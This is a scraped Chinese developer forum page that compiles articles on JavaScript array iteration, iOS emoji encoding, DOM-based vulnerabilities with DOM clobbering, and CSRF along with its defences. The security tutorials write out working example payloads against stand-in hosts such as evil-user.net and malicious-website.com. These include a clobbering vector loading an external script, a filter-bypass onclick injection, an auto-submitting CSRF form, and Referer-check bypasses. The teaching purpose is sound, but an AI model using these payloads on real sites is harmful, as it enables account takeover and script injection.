注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

JS 中循环遍历数组方式总结

本文比较并总结遍历数组的四种方式:for 循环:for (let index=0; index < someArray.length; index++) { const elem = someArray[index]; // ··· }...
继续阅读 »

本文比较并总结遍历数组的四种方式:

  • for 循环:
for (let index=0; index < someArray.length; index++) {
const elem = someArray[index];
// ···
}
  • for-in 循环:
for (const key in someArray) {
console.log(key);
}
  • 数组方法 .forEach()
someArray.forEach((elem, index) => {
console.log(elem, index);
});
  • for-of 循环:
for (const elem of someArray) {
console.log(elem);
}

for-of 通常是最佳选择。我们会明白原因。


for 循环 [ES1]

JavaScript 中的 for 循环很古老,它在 ECMAScript 1 中就已经存在了。for 循环记录 arr 每个元素的索引和值:

const arr = ['a', 'b', 'c'];
arr.prop = 'property value';

for (let index=0; index < arr.length; index++) {
const elem = arr[index];
console.log(index, elem);
}

// Output:
// 0, 'a'
// 1, 'b'
// 2, 'c'

for 循环的优缺点是什么?

  • 它用途广泛,但是当我们要遍历数组时也很麻烦。
  • 如果我们不想从第一个数组元素开始循环时它仍然很有用,用其他的循环机制很难做到这一点。

for-in循环 [ES1]

for-in 循环与 for 循环一样古老,同样在 ECMAScript 1中就存在了。下面的代码用 for-in 循环输出 arr 的 key:

const arr = ['a', 'b', 'c'];
arr.prop = 'property value';

for (const key in arr) {
console.log(key);
}

// Output:
// '0'
// '1'
// '2'
// 'prop'

for-in 不是循环遍历数组的好方法:

  • 它访问的是属性键,而不是值。
  • 作为属性键,数组元素的索引是字符串,而不是数字。
  • 它访问的是所有可枚举的属性键(自己的和继承的),而不仅仅是 Array 元素的那些。

for-in 访问继承属性的实际用途是:遍历对象的所有可枚举属性。

数组方法 .forEach() [ES5]

鉴于 for 和 for-in 都不特别适合在数组上循环,因此在 ECMAScript 5 中引入了一个辅助方法:Array.prototype.forEach()

const arr = ['a', 'b', 'c'];
arr.prop = 'property value';

arr.forEach((elem, index) => {
console.log(elem, index);
});

// Output:
// 'a', 0
// 'b', 1
// 'c', 2

这种方法确实很方便:它使我们无需执行大量操作就能够可访问数组元素和索引。如果用箭头函数(在ES6中引入)的话,在语法上会更加优雅。

.forEach() 的主要缺点是:

  • 不能在它的循环体中使用 await
  • 不能提前退出 .forEach() 循环。而在 for 循环中可以使用 break

中止 .forEach() 的解决方法

如果想要中止 .forEach() 之类的循环,有一种解决方法:.some() 还会循环遍历所有数组元素,并在其回调返回真值时停止。

const arr = ['red', 'green', 'blue'];
arr.some((elem, index) => {
if (index >= 2) {
return true; // 中止循环
}
console.log(elem);
//此回调隐式返回 `undefined`,这
//是一个伪值。 因此,循环继续。
});

// Output:
// 'red'
// 'green'

可以说这是对 .some() 的滥用,与 for-of 和 break 比起来,要理解这段代码并不容易。

for-of 循环 [ES6]

for-of 循环在 ECMAScript 6 开始支持:

const arr = ['a', 'b', 'c'];
arr.prop = 'property value';

for (const elem of arr) {
console.log(elem);
}
// Output:
// 'a'
// 'b'
// 'c'

for-of 在循环遍历数组时非常有效:

  • 用来遍历数组元素。
  • 可以使用 await

  • 甚至可以将 break 和 continue 用于外部作用域。

for-of 和可迭代对象

for-of 不仅可以遍历数组,还可以遍历可迭代对象,例如遍历 Map:

const myMap = new Map()
.set(false, 'no')
.set(true, 'yes')
;
for (const [key, value] of myMap) {
console.log(key, value);
}

// Output:
// false, 'no'
// true, 'yes'

遍历 myMap 会生成 [键,值] 对,可以通过对其进行解构来直接访问每一对数据。

for-of 和数组索引

数组方法 .entries() 返回一个可迭代的 [index,value] 对。如果使用 for-of 并使用此方法进行解构,可以很方便地访问数组索引:

const arr = ['chocolate', 'vanilla', 'strawberry'];

for (const [index, elem] of arr.entries()) {
console.log(index, elem);
}
// Output:
// 0, 'chocolate'
// 1, 'vanilla'
// 2, 'strawberry'

总结

for-of 循环的的可用性比 forfor-in 和 .forEach() 更好。

通常四种循环机制之间的性能差异应该是无关紧要。如果你要做一些运算量很大的事,还是切换到 WebAssembly 更好一些。

原文链接:https://segmentfault.com/a/1190000039308259

收起阅读 »

Web 安全 之 DOM-based vulnerabilities

DOM-based vulnerabilities在本节中,我们将描述什么是 DOM ,解释对 DOM 数据的不安全处理是如何引入漏洞的,并建议如何在您的网站上防止基于 DOM 的漏洞。什么是 DOM...
继续阅读 »

DOM-based vulnerabilities

在本节中,我们将描述什么是 DOM ,解释对 DOM 数据的不安全处理是如何引入漏洞的,并建议如何在您的网站上防止基于 DOM 的漏洞。

什么是 DOM

Document Object Model(DOM)文档对象模型是 web 浏览器对页面上元素的层次表示。网站可以使用 JavaScript 来操作 DOM 的节点和对象,以及它们的属性。DOM 操作本身不是问题,事实上,它也是现代网站中不可或缺的一部分。然而,不安全地处理数据的 JavaScript 可能会引发各种攻击。当网站包含的 JavaScript 接受攻击者可控制的值(称为 source 源)并将其传递给一个危险函数(称为 sink 接收器)时,就会出现基于 DOM 的漏洞。

污染流漏洞

许多基于 DOM 的漏洞可以追溯到客户端代码在处理攻击者可以控制的数据时存在问题。

什么是污染流

要利用或者缓解这些漏洞,首先要熟悉 source 源与 sink 接收器之间的污染流的基本概念。

Source 源是一个 JavaScript 属性,它接受可能由攻击者控制的数据。源的一个示例是 location.search 属性,因为它从 query 字符串中读取输入,这对于攻击者来说比较容易控制。总之,攻击者可以控制的任何属性都是潜在的源。包括引用 URL( document.referrer )、用户的 cookies( document.cookie )和 web messages 。

Sink 接收器是存在潜在危险的 JavaScript 函数或者 DOM 对象,如果攻击者控制的数据被传递给它们,可能会导致不良后果。例如,eval() 函数就是一个 sink ,因为其把传递给它的参数当作 JavaScript 直接执行。一个 HTML sink 的示例是 document.body.innerHTML ,因为它可能允许攻击者注入恶意 HTML 并执行任意 JavaScript。

从根本上讲,当网站将数据从 source 源传递到 sink 接收器,且接收器随后在客户端会话的上下文中以不安全的方式处理数据时,基于 DOM 的漏洞就会出现。

最常见的 source 源就是 URL ,其可以通过 location 对象访问。攻击者可以构建一个链接,以让受害者访问易受攻击的页面,并在 URL 的 query 字符串和 fragment 部分添加有效负载。考虑以下代码:

goto = location.hash.slice(1)
if(goto.startsWith('https:')) {
location = goto;
}

这是一个基于 DOM 的开放重定向漏洞,因为 location.hash 源被以不安全的方式处理。这个代码的意思是,如果 URL 的 fragment 部分以 https 开头,则提取当前 location.hash 的值,并设置为 window 的 location 。攻击者可以构造如下的 URL 来利用此漏洞:

https://www.innocent-website.com/example#https://www.evil-user.net

当受害者访问此 URL 时,JavaScript 就会将 location 设置为 www.evil-user.net ,也就是自动跳转到了恶意网址。这种漏洞非常容易被用来进行钓鱼攻击。

常见的 source 源

以下是一些可用于各种污染流漏洞的常见的 source 源:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

以下数据也可以被用作污染流漏洞的 source 源:

  • Reflected data 反射数据
  • Stored data 存储数据
  • Web messages

哪些 sink 接收器会导致基于 DOM 的漏洞

下面的列表提供了基于 DOM 的常见漏洞的快速概述,并提供了导致每个漏洞的 sink 示例。有关每个漏洞的详情请查阅本系列文章的相关部分。

基于 DOM 的漏洞sink 示例
DOM XSSdocument.write()
Open redirectionwindow.location
Cookie manipulationdocument.cookie
JavaScript injectioneval()
Document-domain manipulationdocument.domain
WebSocket-URL poisoningWebSocket()
Link manipulationsomeElement.src
Web-message manipulationpostMessage()
Ajax request-header manipulationsetRequestHeader()
Local file-path manipulationFileReader.readAsText()
Client-side SQL injectionExecuteSql()
HTML5-storage manipulationsessionStorage.setItem()
Client-side XPath injectiondocument.evaluate()
Client-side JSON injectionJSON.parse()
DOM-data manipulationsomeElement.setAttribute()
Denial of serviceRegExp()

如何防止基于 DOM 的污染流漏洞

没有一个单独的操作可以完全消除基于 DOM 的攻击的威胁。然而,一般来说,避免基于 DOM 的漏洞的最有效方法是避免允许来自任何不可信 source 源的数据动态更改传输到任何 sink 接收器的值。

如果应用程序所需的功能意味着这种行为是不可避免的,则必须在客户端代码内实施防御措施。在许多情况下,可以根据白名单来验证相关数据,仅允许已知安全的内容。在其他情况下,有必要对数据进行清理或编码。这可能是一项复杂的任务,并且取决于要插入数据的上下文,它可能需要按照适当的顺序进行 JavaScript 转义,HTML 编码和 URL 编码。

有关防止特定漏洞的措施,请参阅上表链接的相应漏洞页面。

DOM clobbering

DOM clobbering 是一种高级技术,具体而言就是你可以将 HTML 注入到页面中,从而操作 DOM ,并最终改变网站上 JavaScript 的行为。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。


DOM clobbering

在本节中,我们将描述什么是 DOM clobbing ,演示如何使用 clobbing 技术来利用 DOM 漏洞,并提出防御 DOM clobbing 攻击的方法。

什么是 DOM clobbering

DOM clobbering 是一种将 HTML 注入页面以操作 DOM 并最终改变页面上 JavaScript 行为的技术。在无法使用 XSS ,但是可以控制页面上 HTML 白名单属性如 id 或 name 时,DOM clobbering 就特别有用。DOM clobbering 最常见的形式是使用 anchor 元素覆盖全局变量,然后该变量将会被应用程序以不安全的方式使用,例如生成动态脚本 URL 。

术语 clobbing 来自以下事实:你正在 “clobbing”(破坏) 一个全局变量或对象属性,并用 DOM 节点或 HTML 集合去覆盖它。例如,可以使用 DOM 对象覆盖其他 JavaScript 对象并利用诸如 submit 这样不安全的名称,去干扰表单真正的 submit() 函数。

如何利用 DOM-clobbering 漏洞

某些 JavaScript 开发者经常会使用以下模式:

var someObject = window.someObject || {};

如果你能控制页面上的某些 HTML ,你就可以破坏 someObject 引用一个 DOM 节点,例如 anchor 。考虑如下代码:

<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>

要利用此易受攻击的代码,你可以注入以下 HTML 去破坏 someObject 引用一个 anchor 元素:

<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>

由于使用了两个相同的 ID ,因此 DOM 会把他们归为一个集合,然后 DOM 破坏向量会使用此集合覆盖 someObject 引用。在最后一个 anchor 元素上使用了 name 属性,以破坏 someObject 对象的 url 属性,从而指向一个外部脚本。

另一种常见方法是使用 form 元素以及 input 元素去破坏 DOM 属性。例如,破坏 attributes 属性以使你能够通过相关的客户端过滤器。尽管过滤器将枚举 attributes 属性,但实际上不会删除任何属性,因为该属性已经被 DOM 节点破坏。结果就是,你将能够注入通常会被过滤掉的恶意属性。例如,考虑以下注入:

<form onclick=alert(1)><input id=attributes>Click me

在这种情况下,客户端过滤器将遍历 DOM 并遇到一个列入白名单的 form 元素。正常情况下,过滤器将循环遍历 form 元素的 attributes 属性,并删除所有列入黑名单的属性。但是,由于 attributes 属性已经被 input 元素破坏,所以过滤器将会改为遍历 input 元素。由于 input 元素的长度不确定,因此过滤器 for 循环的条件(例如 i < element.attributes.length)不满足,过滤器会移动到下一个元素。这将导致 onclick 事件被过滤器忽略,其将会在浏览器中调用 alert() 方法。

如何防御 DOM-clobbering 攻击

简而言之,你可以通过检查以确保对象或函数符合你的预期,来防御 DOM-clobbering 攻击。例如,你可以检查 DOM 节点的属性是否是 NamedNodeMap 的实例,从而确保该属性是 attributes 属性而不是破坏的 HTML 元素。

你还应该避免全局变量与或运算符 || 一起引用,因为这可能导致 DOM clobbering 漏洞。

总之:

  • 检查对象和功能是否合法。如果要过滤 DOM ,请确保检查的对象或函数不是 DOM 节点。
  • 避免坏的代码模式。避免将全局变量与逻辑 OR 运算符结合使用。
  • 使用经过良好测试的库,例如 DOMPurify 库,这也可以解决 DOM clobbering 漏洞的问题。
原文链接:https://segmentfault.com/a/1190000039358953
收起阅读 »

iOS中的emoji表情处理

emoji在社交类APP很常用,比如发动态,圈子,还有回复评论,还有会话后台在处理emoji的态度,直接就是不处理,所以我们需要对emoji包括中文,数字,还有特殊字符进行编码还有解码//编码NSString *uniStr = [NSString strin...
继续阅读 »

emoji在社交类APP很常用,比如发动态,圈子,还有回复评论,还有会话


后台在处理emoji的态度,直接就是不处理,所以我们需要对emoji包括中文,数字,还有特殊字符进行编码还有解码

//编码

NSString *uniStr = [NSString stringWithUTF8String:[_barrageText.text UTF8String]];
NSData *uniData = [uniStr dataUsingEncoding:NSNonLossyASCIIStringEncoding];
NSString *goodStr = [[NSString alloc] initWithData:uniData encoding:NSUTF8StringEncoding] ;
NSLog(@"---编码--->[%@]",goodStr);

//解码

const char *jsonString = [goodStr UTF8String];   // goodStr 服务器返回的 json
NSData *jsonData = [NSData dataWithBytes:jsonString length:strlen(jsonString)];
NSString *goodMsg1 = [[NSString alloc] initWithData:jsonData encoding:NSNonLossyASCIIStringEncoding];
NSLog(@"---解码--->[%@]",goodMsg1);

2017-05-15 10:16:17.858 DFRomwe[650:153981] ---编码--->[hello\ud83d\ude18\ud83d\ude18world\u4e16\u754chaha\ud83d\ude17]
2017-05-15 10:16:17.859 DFRomwe[650:153981] ---解码--->[hello😘😘world世界haha😗]

总想着事情就能这么轻松解决!!!
可是,然后,呵呵呵,你不去了解一下东西,还是不行的
果然,后台不作处理的情况下,如果返回JSON这就不行了,因为会默认带有转义字符: *** "\" *** 会导致下面这个情况:

//在这里以😀表情为例,😀的Unicode编码为U+1F604,UTF-16编码为:\ud83d\ude04
NSString * emojiUnicode = @"\U0001F604";
NSLog(@"emojiUnicode:%@",emojiUnicode);
//如果直接输入\ud83d\ude04会报错,加了转义后不会报错,但是会输出字符串\ud83d\ude04,而不是😀
NSString * emojiUTF16 = @"\\ud83d\\ude04";
NSLog(@"emojiUTF16:%@",emojiUTF16);
//转换
emojiUTF16 = [NSString stringWithCString:[emojiUTF16 cStringUsingEncoding:NSUTF8StringEncoding] encoding:NSNonLossyASCIIStringEncoding];
NSLog(@"emojiUnicode2:%@",emojiUTF16);

输出:

emojiUnicode:😄
emojiUnicode1:\ud83d\ude04
emojiUnicode2:😄

果断百度另外的方法

//解码
- (NSString *)decodeEmoji{
NSString *tepStr1 ;
if ([self containsString:@"\\u"]) {
tepStr1 = [self stringByReplacingOccurrencesOfString:@"\\u"withString:@"\U"];
}else{
tepStr1 = [self stringByReplacingOccurrencesOfString:@"\u"withString:@"\U"];
}
NSString *tepStr2 = [tepStr1 stringByReplacingOccurrencesOfString:@"""withString:@"\""];
NSString *tepStr3 = [[@""" stringByAppendingString:tepStr2]stringByAppendingString:@"""];
NSData *tepData = [tepStr3 dataUsingEncoding:NSUTF8StringEncoding];
NSString *axiba = [NSPropertyListSerialization propertyListWithData:tepData options:NSPropertyListMutableContainers format:NULL error:NULL];
return [axiba stringByReplacingOccurrencesOfString:@"\r\n"withString:@"\n"];
}

//编码
- (NSString *)encodeEmoji{

NSUInteger length = [self length];
NSMutableString *s = [NSMutableString stringWithCapacity:0];

for (int i = 0;i < length; i++){
unichar _char = [self characterAtIndex:i];
//判断是否为英文和数字
if (_char <= '9' && _char >='0'){
[s appendFormat:@"%@",[self substringWithRange:NSMakeRange(i,1)]];
}else if(_char >='a' && _char <= 'z'){
[s appendFormat:@"%@",[self substringWithRange:NSMakeRange(i,1)]];
}else if(_char >='A' && _char <= 'Z')
{
[s appendFormat:@"%@",[self substringWithRange:NSMakeRange(i,1)]];
}else{
[s appendFormat:@"\\"];

[s appendFormat:@"\\u%x",[self characterAtIndex:i]];
}
}
return s;

}

这是从JSON解码与编码,其实原理也很简单:

A :就是把多余的转义斜杠扔掉,

B :然后Unicode转utf-8;

C :然后utf-8转Unicode;

这里我写了一个NSString的一个分类:#import "NSString+Emoji.h"

还添加了一些方法:

//判断是否存在emoji表情:因为emoji表情室友Unicode编码区间的

+ (BOOL)stringContainsEmoji:(NSString *)string
{
__block BOOL returnValue = NO;
[string enumerateSubstringsInRange:NSMakeRange(0, [string length])
options:NSStringEnumerationByComposedCharacterSequences
usingBlock:^(NSString *substring, NSRange substringRange, NSRange enclosingRange, BOOL *stop) {
const unichar hs = [substring characterAtIndex:0];
if (0xd800 <= hs && hs <= 0xdbff) {
if (substring.length > 1) {
const unichar ls = [substring characterAtIndex:1];
const int uc = ((hs - 0xd800) * 0x400) + (ls - 0xdc00) + 0x10000;
if (0x1d000 <= uc && uc <= 0x1f77f) {
returnValue = YES;
}
}
} else if (substring.length > 1) {
const unichar ls = [substring characterAtIndex:1];
if (ls == 0x20e3) {
returnValue = YES;
}
} else {
if (0x2100 <= hs && hs <= 0x27ff) {
returnValue = YES;
} else if (0x2B05 <= hs && hs <= 0x2b07) {
returnValue = YES;
} else if (0x2934 <= hs && hs <= 0x2935) {
returnValue = YES;
} else if (0x3297 <= hs && hs <= 0x3299) {
returnValue = YES;
} else if (hs == 0xa9 || hs == 0xae || hs == 0x303d || hs == 0x3030 || hs == 0x2b55 || hs == 0x2b1c || hs == 0x2b1b || hs == 0x2b50) {
returnValue = YES;
}
}

}];
return returnValue;
}

//判断是否存在中文
//因为要保证之前的utf-8的数据也能显示
- (BOOL)includeChinese
{
for(int i=0; i< [self length];i++)
{
int a =[self characterAtIndex:i];
if( a >0x4e00&& a <0x9fff){
return YES;
}
}
return NO;
}

//判断是否以中文开头

- (BOOL)JudgeChineseFirst{
//是否以中文开头(unicode中文编码范围是0x4e00~0x9fa5)
int utfCode = 0;
void *buffer = &utfCode;
NSRange range = NSMakeRange(0, 1);
//判断是不是中文开头的,buffer->获取字符的字节数据 maxLength->buffer的最大长度 usedLength->实际写入的长度,不需要的话可以传递NULL encoding->字符编码常数,不同编码方式转换后的字节长是不一样的,这里我用了UTF16 Little-Endian,maxLength为2字节,如果使用Unicode,则需要4字节 options->编码转换的选项,有两个值,分别是NSStringEncodingConversionAllowLossy和NSStringEncodingConversionExternalRepresentation range->获取的字符串中的字符范围,这里设置的第一个字符 remainingRange->建议获取的范围,可以传递NULL
BOOL b = [self getBytes:buffer maxLength:2 usedLength:NULL encoding:NSUTF16LittleEndianStringEncoding options:NSStringEncodingConversionExternalRepresentation range:range remainingRange:NULL];
if (b && (utfCode >= 0x4e00 && utfCode <= 0x9fa5))
return YES;
else
return NO;
}


收起阅读 »

Web 安全 之 CSRF

Cross-site request forgery (CSRF)在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。什么是 CSRF跨站请求伪造(CSRF)是...
继续阅读 »

Cross-site request forgery (CSRF)

在本节中,我们将解释什么是跨站请求伪造,并描述一些常见的 CSRF 漏洞示例,同时说明如何防御 CSRF 攻击。

什么是 CSRF

跨站请求伪造(CSRF)是一种 web 安全漏洞,它允许攻击者诱使用户执行他们不想执行的操作。攻击者进行 CSRF 能够部分规避同源策略。


CSRF 攻击能造成什么影响

在成功的 CSRF 攻击中,攻击者会使受害用户无意中执行某个操作。例如,这可能是更改他们帐户上的电子邮件地址、更改密码或进行资金转账。根据操作的性质,攻击者可能能够完全控制用户的帐户。如果受害用户在应用程序中具有特权角色,则攻击者可能能够完全控制应用程序的所有数据和功能。

CSRF 是如何工作的

要使 CSRF 攻击成为可能,必须具备三个关键条件:

  • 相关的动作。攻击者有理由诱使应用程序中发生某种动作。这可能是特权操作(例如修改其他用户的权限),也可能是针对用户特定数据的任何操作(例如更改用户自己的密码)。
  • 基于 Cookie 的会话处理。执行该操作涉及发出一个或多个 HTTP 请求,应用程序仅依赖会话cookie 来标识发出请求的用户。没有其他机制用于跟踪会话或验证用户请求。
  • 没有不可预测的请求参数。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当导致用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击。

假设应用程序包含一个允许用户更改其邮箱地址的功能。当用户执行此操作时,会发出如下 HTTP 请求:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

email=wiener@normal-user.com

这个例子符合 CSRF 要求的条件:

  • 更改用户帐户上的邮箱地址的操作会引起攻击者的兴趣。执行此操作后,攻击者通常能够触发密码重置并完全控制用户的帐户。
  • 应用程序使用会话 cookie 来标识发出请求的用户。没有其他标记或机制来跟踪用户会话。
  • 攻击者可以轻松确定执行操作所需的请求参数的值。

具备这些条件后,攻击者可以构建包含以下 HTML 的网页:

<html>
<body>
<form action="https://vulnerable-website.com/email/change" method="POST">
<input type="hidden" name="email" value="pwned@evil-user.net" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

如果受害用户访问了攻击者的网页,将发生以下情况:

  • 攻击者的页面将触发对易受攻击的网站的 HTTP 请求。
  • 如果用户登录到易受攻击的网站,其浏览器将自动在请求中包含其会话 cookie(假设 SameSite cookies 未被使用)。
  • 易受攻击的网站将以正常方式处理请求,将其视为受害者用户发出的请求,并更改其电子邮件地址。

注意:虽然 CSRF 通常是根据基于 cookie 的会话处理来描述的,但它也出现在应用程序自动向请求添加一些用户凭据的上下文中,例如 HTTP Basic authentication 基本验证和 certificate-based authentication 基于证书的身份验证。

如何构造 CSRF 攻击

手动创建 CSRF 攻击所需的 HTML 可能很麻烦,尤其是在所需请求包含大量参数的情况下,或者在请求中存在其他异常情况时。构造 CSRF 攻击的最简单方法是使用 Burp Suite Professional(付费软件) 中的 CSRF PoC generator

如何传递 CSRF

跨站请求伪造攻击的传递机制与反射型 XSS 的传递机制基本相同。通常,攻击者会将恶意 HTML 放到他们控制的网站上,然后诱使受害者访问该网站。这可以通过电子邮件或社交媒体消息向用户提供指向网站的链接来实现。或者,如果攻击被放置在一个流行的网站(例如,在用户评论中),则只需等待用户上钩即可。

请注意,一些简单的 CSRF 攻击使用 GET 方法,并且可以通过易受攻击网站上的单个 URL 完全自包含。在这种情况下,攻击者可能不需要使用外部站点,并且可以直接向受害者提供易受攻击域上的恶意 URL 。在前面的示例中,如果可以使用 GET 方法执行更改电子邮件地址的请求,则自包含的攻击如下所示:

![](https://vulnerable-website.com/email/change?email=pwned@evil-user.net)

防御 CSRF 攻击

防御 CSRF 攻击最有效的方法就是在相关请求中使用 CSRF token ,此 token 应该是:

  • 不可预测的,具有高熵的
  • 绑定到用户的会话中
  • 在相关操作执行前,严格验证每种情况

可与 CSRF token 一起使用的附加防御措施是 SameSite cookies 。

常见的 CSRF 漏洞

最有趣的 CSRF 漏洞产生是因为对 CSRF token 的验证有问题。

在前面的示例中,假设应用程序在更改用户密码的请求中需要包含一个 CSRF token :

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

csrf=WfF1szMUHhiokx9AHFply5L2xAOfjRkE&email=wiener@normal-user.com

这看上去好像可以防御 CSRF 攻击,因为它打破了 CSRF 需要的必要条件:应用程序不再仅仅依赖 cookie 进行会话处理,并且请求也包含攻击者无法确定其值的参数。然而,仍然有多种方法可以破坏防御,这意味着应用程序仍然容易受到 CSRF 的攻击。

CSRF token 的验证依赖于请求方法

某些应用程序在请求使用 POST 方法时正确验证 token ,但在使用 GET 方法时跳过了验证。

在这种情况下,攻击者可以切换到 GET 方法来绕过验证并发起 CSRF 攻击:

GET /email/change?email=pwned@evil-user.net HTTP/1.1
Host: vulnerable-website.com
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

CSRF token 的验证依赖于 token 是否存在

某些应用程序在 token 存在时正确地验证它,但是如果 token 不存在,则跳过验证。

在这种情况下,攻击者可以删除包含 token 的整个参数,从而绕过验证并发起 CSRF 攻击:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Cookie: session=2yQIDcpia41WrATfjPqvm9tOkDvkMvLm

email=pwned@evil-user.net

CSRF token 未绑定到用户会话

有些应用程序不验证 token 是否与发出请求的用户属于同一会话。相反,应用程序维护一个已发出的 token 的全局池,并接受该池中出现的任何 token 。

在这种情况下,攻击者可以使用自己的帐户登录到应用程序,获取有效 token ,然后在 CSRF 攻击中使用自己的 token 。

CSRF token 被绑定到非会话 cookie

在上述漏洞的变体中,有些应用程序确实将 CSRF token 绑定到了 cookie,但与用于跟踪会话的同一个 cookie 不绑定。当应用程序使用两个不同的框架时,很容易发生这种情况,一个用于会话处理,另一个用于 CSRF 保护,这两个框架没有集成在一起:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&email=wiener@normal-user.com

这种情况很难利用,但仍然存在漏洞。如果网站包含任何允许攻击者在受害者浏览器中设置 cookie 的行为,则可能发生攻击。攻击者可以使用自己的帐户登录到应用程序,获取有效的 token 和关联的 cookie ,利用 cookie 设置行为将其 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供 token 。

注意:cookie 设置行为甚至不必与 CSRF 漏洞存在于同一 Web 应用程序中。如果所控制的 cookie 具有适当的范围,则可以利用同一总体 DNS 域中的任何其他应用程序在目标应用程序中设置 cookie 。例如,staging.demo.normal-website.com 域上的 cookie 设置函数可以放置提交到 secure.normal-website.com 上的 cookie 。

CSRF token 仅要求与 cookie 中的相同

在上述漏洞的进一步变体中,一些应用程序不维护已发出 token 的任何服务端记录,而是在 cookie 和请求参数中复制每个 token 。在验证后续请求时,应用程序只需验证在请求参数中提交的 token 是否与在 cookie 中提交的值匹配。这有时被称为针对 CSRF 的“双重提交”防御,之所以被提倡,是因为它易于实现,并且避免了对任何服务端状态的需要:

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&email=wiener@normal-user.com

在这种情况下,如果网站包含任何 cookie 设置功能,攻击者可以再次执行 CSRF 攻击。在这里,攻击者不需要获得自己的有效 token 。他们只需发明一个 token ,利用 cookie 设置行为将 cookie 放入受害者的浏览器中,并在 CSRF 攻击中向受害者提供此 token 。

基于 Referer 的 CSRF 防御

除了使用 CSRF token 进行防御之外,有些应用程序使用 HTTP Referer 头去防御 CSRF 攻击,通常是验证请求来自应用程序自己的域名。这种方法通常不太有效,而且经常会被绕过。

注意:HTTP Referer 头是一个可选的请求头,它包含链接到所请求资源的网页的 URL 。通常,当用户触发 HTTP 请求时,比如单击链接或提交表单,浏览器会自动添加它。然而存在各种方法,允许链接页面保留或修改 Referer 头的值。这通常是出于隐私考虑。

Referer 的验证依赖于其是否存在

某些应用程序当请求中有 Referer 头时会验证它,但是如果没有的话,则跳过验证。

在这种情况下,攻击者可以精心设计其 CSRF 攻击,使受害用户的浏览器在请求中丢弃 Referer 头。实现这一点有多种方法,但最简单的是在托管 CSRF 攻击的 HTML 页面中使用 META 标记:

<meta name="referrer" content="never">

Referer 的验证可以被规避

某些应用程序以一种可以被绕过的方式验证 Referer 头。例如,如果应用程序只是验证 Referer 是否包含自己的域名,那么攻击者可以将所需的值放在 URL 的其他位置:

http://attacker-website.com/csrf-attack?vulnerable-website.com

如果应用程序验证 Referer 中的域以预期值开头,那么攻击者可以将其作为自己域的子域:

http://vulnerable-website.com.attacker-website.com/csrf-attack

CSRF tokens

在本节中,我们将解释什么是 CSRF token,它们是如何防御的 CSRF 攻击,以及如何生成和验证CSRF token 。

什么是 CSRF token

CSRF token 是一个唯一的、秘密的、不可预测的值,它由服务端应用程序生成,并以这种方式传输到客户端,使得它包含在客户端发出的后续 HTTP 请求中。当发出后续请求时,服务端应用程序将验证请求是否包含预期的 token ,并在 token 丢失或无效时拒绝该请求。

由于攻击者无法确定或预测用户的 CSRF token 的值,因此他们无法构造出一个应用程序验证所需全部参数的请求。所以 CSRF token 可以防止 CSRF 攻击。

CSRF token 应该如何生成

CSRF token 应该包含显著的熵,并且具有很强的不可预测性,其通常与会话令牌具有相同的特性。

您应该使用加密强度伪随机数生成器(PRNG),该生成器附带创建时的时间戳以及静态密码。

如果您需要 PRNG 强度之外的进一步保证,可以通过将其输出与某些特定于用户的熵连接来生成单独的令牌,并对整个结构进行强哈希。这给试图分析令牌的攻击者带来了额外的障碍。

如何传输 CSRF token

CSRF token 应被视为机密,并在其整个生命周期中以安全的方式进行处理。一种通常有效的方法是将令牌传输到使用 POST 方法提交的 HTML 表单的隐藏字段中的客户端。提交表单时,令牌将作为请求参数包含:

<input type="hidden" name="csrf-token" value="CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz" />

为了安全起见,包含 CSRF token 的字段应该尽早放置在 HTML 文档中,最好是在任何非隐藏的输入字段之前,以及在 HTML 中嵌入用户可控制数据的任何位置之前。这可以对抗攻击者使用精心编制的数据操纵 HTML 文档并捕获其部分内容的各种技术。

另一种方法是将令牌放入 URL query 字符串中,这种方法的安全性稍差,因为 query 字符串:

  • 记录在客户端和服务器端的各个位置;
  • 容易在 HTTP Referer 头中传输给第三方;
  • 可以在用户的浏览器中显示在屏幕上。

